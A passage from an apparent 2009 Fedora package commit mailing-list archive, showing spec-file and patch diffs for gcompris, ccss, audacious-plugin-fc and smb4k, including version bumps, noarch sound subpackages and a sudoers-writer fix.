 Voice samples for the GCompris games in Tsjech.
@@ -80,6 +82,7 @@ Voice samples for the GCompris games in 
 %package sound-da
 Summary:        GCompris voices in Danish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-da
 Voice samples for the GCompris games in Danish.
@@ -88,6 +91,7 @@ Voice samples for the GCompris games in 
 %package sound-de
 Summary:        GCompris voices in German
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-de
 Voice samples for the GCompris games in German.
@@ -96,6 +100,7 @@ Voice samples for the GCompris games in 
 %package sound-el
 Summary:        GCompris voices in Greek
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-el
 Voice samples for the GCompris games in Greek.
@@ -104,6 +109,7 @@ Voice samples for the GCompris games in 
 %package sound-en
 Summary:        GCompris voices in English
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-en
 Voice samples for the GCompris games in English.
@@ -112,6 +118,7 @@ Voice samples for the GCompris games in 
 %package sound-es
 Summary:        GCompris voices in Spanish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-es
 Voice samples for the GCompris games in Spanish.
@@ -120,6 +127,7 @@ Voice samples for the GCompris games in 
 %package sound-eu
 Summary:        GCompris voices in Basque
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-eu
 Voice samples for the GCompris games in Basque.
@@ -128,6 +136,7 @@ Voice samples for the GCompris games in 
 %package sound-fi
 Summary:        GCompris voices in Finish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-fi
 Voice samples for the GCompris games in Finish.
@@ -136,6 +145,7 @@ Voice samples for the GCompris games in 
 %package sound-fr
 Summary:        GCompris voices in French
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-fr
 Voice samples for the GCompris games in French.
@@ -144,6 +154,7 @@ Voice samples for the GCompris games in 
 %package sound-hi
 Summary:        GCompris voices in Hindi
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-hi
 Voice samples for the GCompris games in Hindi.
@@ -152,6 +163,7 @@ Voice samples for the GCompris games in 
 %package sound-hu
 Summary:        GCompris voices in Hungarian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-hu
 Voice samples for the GCompris games in Hungarian.
@@ -160,6 +172,7 @@ Voice samples for the GCompris games in 
 %package sound-id
 Summary:        GCompris voices in Indonesian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-id
 Voice samples for the GCompris games in Indonesian.
@@ -168,6 +181,7 @@ Voice samples for the GCompris games in 
 %package sound-it
 Summary:        GCompris voices in Italian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-it
 Voice samples for the GCompris games in Italian.
@@ -176,6 +190,7 @@ Voice samples for the GCompris games in 
 %package sound-mr
 Summary:        GCompris voices in Indian Marathi
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-mr
 Voice samples for the GCompris games in Indian Marathi.
@@ -184,6 +199,7 @@ Voice samples for the GCompris games in 
 %package sound-nb
 Summary:        GCompris voices in Norwegian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-nb
 Voice samples for the GCompris games in Norwegian.
@@ -192,6 +208,7 @@ Voice samples for the GCompris games in 
 %package sound-nl
 Summary:        GCompris voices in Dutch
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-nl
 Voice samples for the GCompris games in Dutch.
@@ -200,6 +217,7 @@ Voice samples for the GCompris games in 
 %package sound-pt
 Summary:        GCompris voices in Portuguese
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-pt
 Voice samples for the GCompris games in Portuguese.
@@ -208,6 +226,7 @@ Voice samples for the GCompris games in 
 %package sound-ru
 Summary:        GCompris voices in Russian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-ru
 Voice samples for the GCompris games in Russian.
@@ -216,6 +235,7 @@ Voice samples for the GCompris games in 
 %package sound-so
 Summary:        GCompris voices in Somali
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-so
 Voice samples for the GCompris games in Somali.
@@ -224,6 +244,7 @@ Voice samples for the GCompris games in 
 %package sound-sr
 Summary:        GCompris voices in Serbian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-sr
 Voice samples for the GCompris games in Serbian.
@@ -232,6 +253,7 @@ Voice samples for the GCompris games in 
 %package sound-sv
 Summary:        GCompris voices in Swedish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-sv
 Voice samples for the GCompris games in Swedish.
@@ -240,6 +262,7 @@ Voice samples for the GCompris games in 
 %package sound-tr
 Summary:        GCompris voices in Turk
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-tr
 Voice samples for the GCompris games in Turk.
@@ -248,6 +271,7 @@ Voice samples for the GCompris games in 
 %package flags
 Summary:        Country flags for use with GCompris (60x40 PNG)
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description flags
 Country flags for use with GCompris (60x40 PNG).
@@ -261,6 +285,8 @@ iconv -f ISO-8859-1 -t UTF8 docs/C/%{nam
 mv tmp docs/C/%{name}.info
 iconv -f ISO-8859-1 -t UTF8 AUTHORS > tmp
 mv tmp AUTHORS
+iconv -f ISO-8859-1 -t UTF8 ChangeLog > tmp
+mv tmp ChangeLog
 
 
 %build
@@ -299,6 +325,10 @@ desktop-file-install --vendor fedora --d
   --dir $RPM_BUILD_ROOT%{_datadir}/applications                         \
   $RPM_BUILD_ROOT%{_datadir}/applications/%{name}-edit.desktop
 
+#remove not needeed ".desktop" file (use for windows build)
+rm -f $RPM_BUILD_ROOT%{_datadir}/applications/nsis_translations.desktop
+
+
 mkdir -p $RPM_BUILD_ROOT/usr/share/icons/hicolor/48x48/apps
 mv $RPM_BUILD_ROOT/usr/share/pixmaps/%{name}.png \
   $RPM_BUILD_ROOT/usr/share/pixmaps/%{name}-edit.png \
@@ -503,6 +533,9 @@ fi
 
 
 %changelog
+* Sat Oct 24 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 8.4.13-1
+- New upstream bugfix release 8.4.13
+
 * Sun Mar 29 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 8.4.12-1
 - New upstream bugfix release 8.4.12
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gcompris/F-10/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	29 Mar 2009 18:40:10 -0000	1.21
+++ sources	24 Oct 2009 10:10:56 -0000	1.22
@@ -1 +1 @@
-8a1519e71caa0924d5df73faa311eea3  gcompris-8.4.12.tar.gz
+d4768c2c471da4f1eb12a82d37f54dc1  gcompris-8.4.13.tar.gz


--- gcompris-8.1-icon.patch DELETED ---



From trasher at fedoraproject.org  Sat Oct 24 10:11:36 2009
From: trasher at fedoraproject.org (Johan Cwiklinski)
Date: Sat, 24 Oct 2009 10:11:36 +0000 (UTC)
Subject: rpms/gcompris/F-11 gcompris-8.4.13-icon.patch, NONE, 1.1 .cvsignore,
	1.18, 1.19 gcompris.spec, 1.45, 1.46 sources, 1.21,
	1.22 gcompris-8.1-icon.patch, 1.1, NONE
Message-ID: <20091024101136.A43F611C00E5@cvs1.fedora.phx.redhat.com>

Author: trasher

Update of /cvs/extras/rpms/gcompris/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14431

Modified Files:
	.cvsignore gcompris.spec sources 
Added Files:
	gcompris-8.4.13-icon.patch 
Removed Files:
	gcompris-8.1-icon.patch 
Log Message:
New upstream release (8.4.13)
Noarch for sound packages


gcompris-8.4.13-icon.patch:
 gcompris.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE gcompris-8.4.13-icon.patch ---
diff -up gcompris-8.4.13/src/gcompris/gcompris.c.patch gcompris-8.4.13/src/gcompris/gcompris.c
--- gcompris-8.4.13/src/gcompris/gcompris.c.patch	2009-10-20 07:48:56.000000000 +0200
+++ gcompris-8.4.13/src/gcompris/gcompris.c	2009-10-20 07:49:48.000000000 +0200
@@ -667,7 +667,7 @@ static void setup_window ()
    * Set an icon for gcompris
    * ------------------------
    */
-  icon_file = g_strconcat(properties->system_icon_dir, "/gcompris.png", NULL);
+  icon_file = g_strconcat("/usr/share/icons/hicolor/48x48/apps", "/gcompris.png", NULL);
 
   if(!icon_file)
       g_warning ("Couldn't find file %s !", icon_file);


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gcompris/F-11/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	29 Mar 2009 17:47:03 -0000	1.18
+++ .cvsignore	24 Oct 2009 10:11:36 -0000	1.19
@@ -1 +1 @@
-gcompris-8.4.12.tar.gz
+gcompris-8.4.13.tar.gz


Index: gcompris.spec
===================================================================
RCS file: /cvs/extras/rpms/gcompris/F-11/gcompris.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- gcompris.spec	29 Mar 2009 17:47:03 -0000	1.45
+++ gcompris.spec	24 Oct 2009 10:11:36 -0000	1.46
@@ -1,12 +1,12 @@
 Name:           gcompris
-Version:        8.4.12
+Version:        8.4.13
 Release:        1%{?dist}
 Summary:        Educational suite for kids 2-10 years old
 Group:          Amusements/Games
 License:        GPLv3+
 URL:            http://gcompris.net
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
-Patch0:         gcompris-8.1-icon.patch
+Patch0:         gcompris-8.4.13-icon.patch
 Patch1:         gcompris-8.3.2-tuxpaint-fullscreen.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Buildrequires:  libgnomeui-devel sqlite-devel python-devel gnet2-devel
@@ -64,6 +64,7 @@ Plus de 100 activit?s sont propos?es :
 %package sound-ar
 Summary:        GCompris voices in Arabic (Tunisia)
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-ar
 Voice samples for the GCompris games in Arabic (Tunisia).
@@ -72,6 +73,7 @@ Voice samples for the GCompris games in 
 %package sound-cs
 Summary:        GCompris voices in Tsjech
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-cs
 Voice samples for the GCompris games in Tsjech.
@@ -80,6 +82,7 @@ Voice samples for the GCompris games in 
 %package sound-da
 Summary:        GCompris voices in Danish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-da
 Voice samples for the GCompris games in Danish.
@@ -88,6 +91,7 @@ Voice samples for the GCompris games in 
 %package sound-de
 Summary:        GCompris voices in German
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-de
 Voice samples for the GCompris games in German.
@@ -96,6 +100,7 @@ Voice samples for the GCompris games in 
 %package sound-el
 Summary:        GCompris voices in Greek
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-el
 Voice samples for the GCompris games in Greek.
@@ -104,6 +109,7 @@ Voice samples for the GCompris games in 
 %package sound-en
 Summary:        GCompris voices in English
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-en
 Voice samples for the GCompris games in English.
@@ -112,6 +118,7 @@ Voice samples for the GCompris games in 
 %package sound-es
 Summary:        GCompris voices in Spanish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-es
 Voice samples for the GCompris games in Spanish.
@@ -120,6 +127,7 @@ Voice samples for the GCompris games in 
 %package sound-eu
 Summary:        GCompris voices in Basque
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-eu
 Voice samples for the GCompris games in Basque.
@@ -128,6 +136,7 @@ Voice samples for the GCompris games in 
 %package sound-fi
 Summary:        GCompris voices in Finish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-fi
 Voice samples for the GCompris games in Finish.
@@ -136,6 +145,7 @@ Voice samples for the GCompris games in 
 %package sound-fr
 Summary:        GCompris voices in French
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-fr
 Voice samples for the GCompris games in French.
@@ -144,6 +154,7 @@ Voice samples for the GCompris games in 
 %package sound-hi
 Summary:        GCompris voices in Hindi
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-hi
 Voice samples for the GCompris games in Hindi.
@@ -152,6 +163,7 @@ Voice samples for the GCompris games in 
 %package sound-hu
 Summary:        GCompris voices in Hungarian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-hu
 Voice samples for the GCompris games in Hungarian.
@@ -160,6 +172,7 @@ Voice samples for the GCompris games in 
 %package sound-id
 Summary:        GCompris voices in Indonesian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-id
 Voice samples for the GCompris games in Indonesian.
@@ -168,6 +181,7 @@ Voice samples for the GCompris games in 
 %package sound-it
 Summary:        GCompris voices in Italian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-it
 Voice samples for the GCompris games in Italian.
@@ -176,6 +190,7 @@ Voice samples for the GCompris games in 
 %package sound-mr
 Summary:        GCompris voices in Indian Marathi
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-mr
 Voice samples for the GCompris games in Indian Marathi.
@@ -184,6 +199,7 @@ Voice samples for the GCompris games in 
 %package sound-nb
 Summary:        GCompris voices in Norwegian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-nb
 Voice samples for the GCompris games in Norwegian.
@@ -192,6 +208,7 @@ Voice samples for the GCompris games in 
 %package sound-nl
 Summary:        GCompris voices in Dutch
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-nl
 Voice samples for the GCompris games in Dutch.
@@ -200,6 +217,7 @@ Voice samples for the GCompris games in 
 %package sound-pt
 Summary:        GCompris voices in Portuguese
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-pt
 Voice samples for the GCompris games in Portuguese.
@@ -208,6 +226,7 @@ Voice samples for the GCompris games in 
 %package sound-ru
 Summary:        GCompris voices in Russian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-ru
 Voice samples for the GCompris games in Russian.
@@ -216,6 +235,7 @@ Voice samples for the GCompris games in 
 %package sound-so
 Summary:        GCompris voices in Somali
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-so
 Voice samples for the GCompris games in Somali.
@@ -224,6 +244,7 @@ Voice samples for the GCompris games in 
 %package sound-sr
 Summary:        GCompris voices in Serbian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-sr
 Voice samples for the GCompris games in Serbian.
@@ -232,6 +253,7 @@ Voice samples for the GCompris games in 
 %package sound-sv
 Summary:        GCompris voices in Swedish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-sv
 Voice samples for the GCompris games in Swedish.
@@ -240,6 +262,7 @@ Voice samples for the GCompris games in 
 %package sound-tr
 Summary:        GCompris voices in Turk
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-tr
 Voice samples for the GCompris games in Turk.
@@ -248,6 +271,7 @@ Voice samples for the GCompris games in 
 %package flags
 Summary:        Country flags for use with GCompris (60x40 PNG)
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description flags
 Country flags for use with GCompris (60x40 PNG).
@@ -261,6 +285,8 @@ iconv -f ISO-8859-1 -t UTF8 docs/C/%{nam
 mv tmp docs/C/%{name}.info
 iconv -f ISO-8859-1 -t UTF8 AUTHORS > tmp
 mv tmp AUTHORS
+iconv -f ISO-8859-1 -t UTF8 ChangeLog > tmp
+mv tmp ChangeLog
 
 
 %build
@@ -299,6 +325,10 @@ desktop-file-install --vendor fedora --d
   --dir $RPM_BUILD_ROOT%{_datadir}/applications                         \
   $RPM_BUILD_ROOT%{_datadir}/applications/%{name}-edit.desktop
 
+#remove not needeed ".desktop" file (use for windows build)
+rm -f $RPM_BUILD_ROOT%{_datadir}/applications/nsis_translations.desktop
+
+
 mkdir -p $RPM_BUILD_ROOT/usr/share/icons/hicolor/48x48/apps
 mv $RPM_BUILD_ROOT/usr/share/pixmaps/%{name}.png \
   $RPM_BUILD_ROOT/usr/share/pixmaps/%{name}-edit.png \
@@ -503,6 +533,9 @@ fi
 
 
 %changelog
+* Sat Oct 24 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 8.4.13-1
+- New upstream bugfix release 8.4.13
+
 * Sun Mar 29 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 8.4.12-1
 - New upstream bugfix release 8.4.12
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gcompris/F-11/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	29 Mar 2009 17:47:03 -0000	1.21
+++ sources	24 Oct 2009 10:11:36 -0000	1.22
@@ -1 +1 @@
-8a1519e71caa0924d5df73faa311eea3  gcompris-8.4.12.tar.gz
+d4768c2c471da4f1eb12a82d37f54dc1  gcompris-8.4.13.tar.gz


--- gcompris-8.1-icon.patch DELETED ---



From pbrobinson at fedoraproject.org  Sat Oct 24 10:24:05 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 24 Oct 2009 10:24:05 +0000 (UTC)
Subject: rpms/ccss/F-12 ccss.spec,1.1,NONE
Message-ID: <20091024102405.3B8ED11C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/ccss/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15860

Removed Files:
	ccss.spec 
Log Message:
we don't want this release in F-12. It breaks the current release of Moblin


--- ccss.spec DELETED ---



From mschwendt at fedoraproject.org  Sat Oct 24 10:40:22 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Sat, 24 Oct 2009 10:40:22 +0000 (UTC)
Subject: rpms/audacious-plugin-fc/devel
	audacious-plugin-fc-0.4-unknown-songtime.patch, NONE,
	1.1 audacious-plugin-fc.spec, 1.16, 1.17
Message-ID: <20091024104022.D0E3611C02A6@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugin-fc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18511

Modified Files:
	audacious-plugin-fc.spec 
Added Files:
	audacious-plugin-fc-0.4-unknown-songtime.patch 
Log Message:
* Sat Oct 24 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 0.4-2
- Set empty/unknown initial songtime instead of 0:00.


audacious-plugin-fc-0.4-unknown-songtime.patch:
 Main.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE audacious-plugin-fc-0.4-unknown-songtime.patch ---
diff -Nur audacious-plugin-fc-0.4-orig/src/Main.cpp audacious-plugin-fc-0.4/src/Main.cpp
--- audacious-plugin-fc-0.4-orig/src/Main.cpp	2009-10-23 17:21:56.000000000 +0200
+++ audacious-plugin-fc-0.4/src/Main.cpp	2009-10-24 12:34:16.689418212 +0200
@@ -337,7 +337,7 @@
     Tuple *t = aud_tuple_new_from_filename(filename);
 
     // delay length detection to start of playback
-    aud_tuple_associate_int(t, FIELD_LENGTH, NULL, 0);
+    aud_tuple_associate_int(t, FIELD_LENGTH, NULL, -1);
     aud_tuple_associate_string(t, FIELD_QUALITY, NULL, "sequenced");
     //aud_tuple_associate_string(ti, FIELD_TITLE, NULL, tmp);
 


Index: audacious-plugin-fc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugin-fc/devel/audacious-plugin-fc.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- audacious-plugin-fc.spec	23 Oct 2009 15:27:30 -0000	1.16
+++ audacious-plugin-fc.spec	24 Oct 2009 10:40:22 -0000	1.17
@@ -7,7 +7,7 @@
 Summary: Future Composer input plugin for Audacious
 Name: audacious-plugin-fc
 Version: 0.4
-Release: 1
+Release: 2
 URL: http://xmms-fc.sourceforge.net/
 License: GPLv2+
 Source:	http://download.sourceforge.net/xmms-fc/audacious-plugin-fc-%{version}.tar.bz2
@@ -19,6 +19,8 @@ BuildRequires: pkgconfig
 Provides: audacious-plugins-fc = %{version}-%{release}
 Requires: audacious >= %{aud_ver}
 
+Patch0: audacious-plugin-fc-0.4-unknown-songtime.patch
+
 
 %description
 This is an input plugin for Audacious which can play back Future Composer
@@ -27,6 +29,7 @@ music files from AMIGA. Song-length dete
 
 %prep
 %setup -q
+%patch0 -p1 -b .unknown-songtime
 
 
 %build
@@ -54,6 +57,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 24 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 0.4-2
+- Set empty/unknown initial songtime instead of 0:00.
+
 * Fri Oct 23 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 0.4-1
 - Upgrade to 0.4 for Audacious 2.2 InputPlugin API changes.
 



From mschwendt at fedoraproject.org  Sat Oct 24 10:41:07 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Sat, 24 Oct 2009 10:41:07 +0000 (UTC)
Subject: rpms/audacious-plugin-fc/devel audacious-plugin-fc.spec,1.17,1.18
Message-ID: <20091024104107.8BE4711C00E5@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugin-fc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18588

Modified Files:
	audacious-plugin-fc.spec 
Log Message:
* Sat Oct 24 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 0.4-2
- Set empty/unknown initial songtime instead of 0:00.



Index: audacious-plugin-fc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugin-fc/devel/audacious-plugin-fc.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- audacious-plugin-fc.spec	24 Oct 2009 10:40:22 -0000	1.17
+++ audacious-plugin-fc.spec	24 Oct 2009 10:41:07 -0000	1.18
@@ -19,6 +19,7 @@ BuildRequires: pkgconfig
 Provides: audacious-plugins-fc = %{version}-%{release}
 Requires: audacious >= %{aud_ver}
 
+# applied upstream
 Patch0: audacious-plugin-fc-0.4-unknown-songtime.patch
 
 



From mgarski at fedoraproject.org  Sat Oct 24 10:43:37 2009
From: mgarski at fedoraproject.org (Marcin Garski)
Date: Sat, 24 Oct 2009 10:43:37 +0000 (UTC)
Subject: rpms/smb4k/devel smb4k-0.10.4-sudo.patch, NONE, 1.1 .cvsignore, 1.28,
	1.29 smb4k.spec, 1.42, 1.43 sources, 1.28, 1.29
Message-ID: <20091024104337.4B22E11C00E5@cvs1.fedora.phx.redhat.com>

Author: mgarski

Update of /cvs/pkgs/rpms/smb4k/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18873

Modified Files:
	.cvsignore smb4k.spec sources 
Added Files:
	smb4k-0.10.4-sudo.patch 
Log Message:
- Update to 0.10.4
- Proper update of sudoers (#527401)
- Add kdesu to Requires (#499720)


smb4k-0.10.4-sudo.patch:
 smb4k_sudowriter.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE smb4k-0.10.4-sudo.patch ---
--- smb4k-0.10.4/utilities/smb4k_sudowriter.cpp.orig	2009-10-01 16:57:54.000000000 +0200
+++ smb4k-0.10.4/utilities/smb4k_sudowriter.cpp	2009-10-24 12:09:10.216653926 +0200
@@ -527,7 +527,7 @@
       contents.append( "# Entries for Smb4K users." );
       contents.append( "# Generated by Smb4K. Please do not modify!" );
       contents.append( "User_Alias\tSMB4KUSERS = "+QString( "%1" ).arg( adduser.join( "," ) ) );
-      contents.append( "Defaults:SMB4KUSERS\tenv_keep += \"PASSWD USER\"" );
+      contents.append( "Defaults:SMB4KUSERS\tenv_keep += \"PASSWD USER\", !requiretty" );
       contents.append( "SMB4KUSERS\t"+hostname+" = NOPASSWD: "
                        +KGlobal::dirs()->findResource( "exe", "smb4k_kill" ) );
       contents.append( "SMB4KUSERS\t"+hostname+" = NOPASSWD: "


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/smb4k/devel/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	15 Mar 2009 14:43:10 -0000	1.28
+++ .cvsignore	24 Oct 2009 10:43:36 -0000	1.29
@@ -1 +1 @@
-smb4k-0.10.2.tar.bz2
+smb4k-0.10.4.tar.bz2


Index: smb4k.spec
===================================================================
RCS file: /cvs/pkgs/rpms/smb4k/devel/smb4k.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- smb4k.spec	27 Jul 2009 04:29:14 -0000	1.42
+++ smb4k.spec	24 Oct 2009 10:43:37 -0000	1.43
@@ -1,12 +1,13 @@
 Name:		smb4k
-Version:	0.10.2
-Release:	2%{?dist}
+Version:	0.10.4
+Release:	1%{?dist}
 Summary:	The SMB/CIFS Share Browser for KDE
 
 Group:		Applications/Internet
 License:	GPLv2+
 URL:		http://smb4k.berlios.de/
 Source0:	http://download.berlios.de/smb4k/%{name}-%{version}.tar.bz2
+Patch0:		smb4k-0.10.4-sudo.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	cmake >= 2.6.0
@@ -14,6 +15,7 @@ BuildRequires:	kdelibs-devel >= 4.1.0
 BuildRequires:	gettext
 BuildRequires:	desktop-file-utils
 Requires:	samba-client
+Requires:	%{_bindir}/kdesu
 
 %description
 Smb4K is an SMB/CIFS share browser for KDE. It uses the Samba software suite to
@@ -31,6 +33,7 @@ needed to develop applications using %{n
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
 mkdir -p %{_target_platform}
@@ -96,6 +99,11 @@ rm -rf %{buildroot}
 %{_libdir}/libsmb4kc*.so
 
 %changelog
+* Sat Oct 24 2009 Marcin Garski <mgarski[AT]post.pl> 0.10.4-1
+- Update to 0.10.4
+- Proper update of sudoers (#527401)
+- Add kdesu to Requires (#499720)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.10.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/smb4k/devel/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	15 Mar 2009 14:43:10 -0000	1.28
+++ sources	24 Oct 2009 10:43:37 -0000	1.29
@@ -1 +1 @@
-19f631160cfb69a12370c72c1841fb7e  smb4k-0.10.2.tar.bz2
+e8676d8baaecdbcee60354c687a88a55  smb4k-0.10.4.tar.bz2



From mschwendt at fedoraproject.org  Sat Oct 24 10:49:43 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Sat, 24 Oct 2009 10:49:43 +0000 (UTC)
Subject: rpms/audacious-plugin-fc/F-12 audacious-plugin-fc-0.4-aud21.patch, 
	NONE, 1.1 .cvsignore, 1.3, 1.4 audacious-plugin-fc.spec, 1.15,
	1.16 sources, 1.3, 1.4 audacious-plugin-fc-0.3-audacious2.patch,
	1.1, NONE audacious-plugin-fc-0.3-dialog.patch, 1.1, NONE
Message-ID: <20091024104944.0AB8D11C00E5@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugin-fc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19867

Modified Files:
	.cvsignore audacious-plugin-fc.spec sources 
Added Files:
	audacious-plugin-fc-0.4-aud21.patch 
Removed Files:
	audacious-plugin-fc-0.3-audacious2.patch 
	audacious-plugin-fc-0.3-dialog.patch 
Log Message:
* Sat Oct 24 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 0.4-1
- Patch temporarily to backport to Audacious 2.1 API.


audacious-plugin-fc-0.4-aud21.patch:
 configure    |   16 ++++++++--------
 src/Main.cpp |   15 ++++++++-------
 2 files changed, 16 insertions(+), 15 deletions(-)

--- NEW FILE audacious-plugin-fc-0.4-aud21.patch ---
diff -Nur audacious-plugin-fc-0.4-orig/configure audacious-plugin-fc-0.4/configure
--- audacious-plugin-fc-0.4-orig/configure	2009-10-23 12:31:35.000000000 +0200
+++ audacious-plugin-fc-0.4/configure	2009-10-24 12:10:42.318420354 +0200
@@ -6464,23 +6464,23 @@
   else
      PKG_CONFIG_MIN_VERSION=0.9.0
      if $PKG_CONFIG --atleast-pkgconfig-version $PKG_CONFIG_MIN_VERSION; then
-        { $as_echo "$as_me:$LINENO: checking for audacious >= 2.2" >&5
-$as_echo_n "checking for audacious >= 2.2... " >&6; }
+        { $as_echo "$as_me:$LINENO: checking for audacious >= 2.1" >&5
+$as_echo_n "checking for audacious >= 2.1... " >&6; }
 
-        if $PKG_CONFIG --exists "audacious >= 2.2" ; then
+        if $PKG_CONFIG --exists "audacious >= 2.1" ; then
             { $as_echo "$as_me:$LINENO: result: yes" >&5
 $as_echo "yes" >&6; }
             succeeded=yes
 
             { $as_echo "$as_me:$LINENO: checking AUDACIOUS_CFLAGS" >&5
 $as_echo_n "checking AUDACIOUS_CFLAGS... " >&6; }
-            AUDACIOUS_CFLAGS=`$PKG_CONFIG --cflags "audacious >= 2.2"`
+            AUDACIOUS_CFLAGS=`$PKG_CONFIG --cflags "audacious >= 2.1"`
             { $as_echo "$as_me:$LINENO: result: $AUDACIOUS_CFLAGS" >&5
 $as_echo "$AUDACIOUS_CFLAGS" >&6; }
 
             { $as_echo "$as_me:$LINENO: checking AUDACIOUS_LIBS" >&5
 $as_echo_n "checking AUDACIOUS_LIBS... " >&6; }
-            AUDACIOUS_LIBS=`$PKG_CONFIG --libs "audacious >= 2.2"`
+            AUDACIOUS_LIBS=`$PKG_CONFIG --libs "audacious >= 2.1"`
             { $as_echo "$as_me:$LINENO: result: $AUDACIOUS_LIBS" >&5
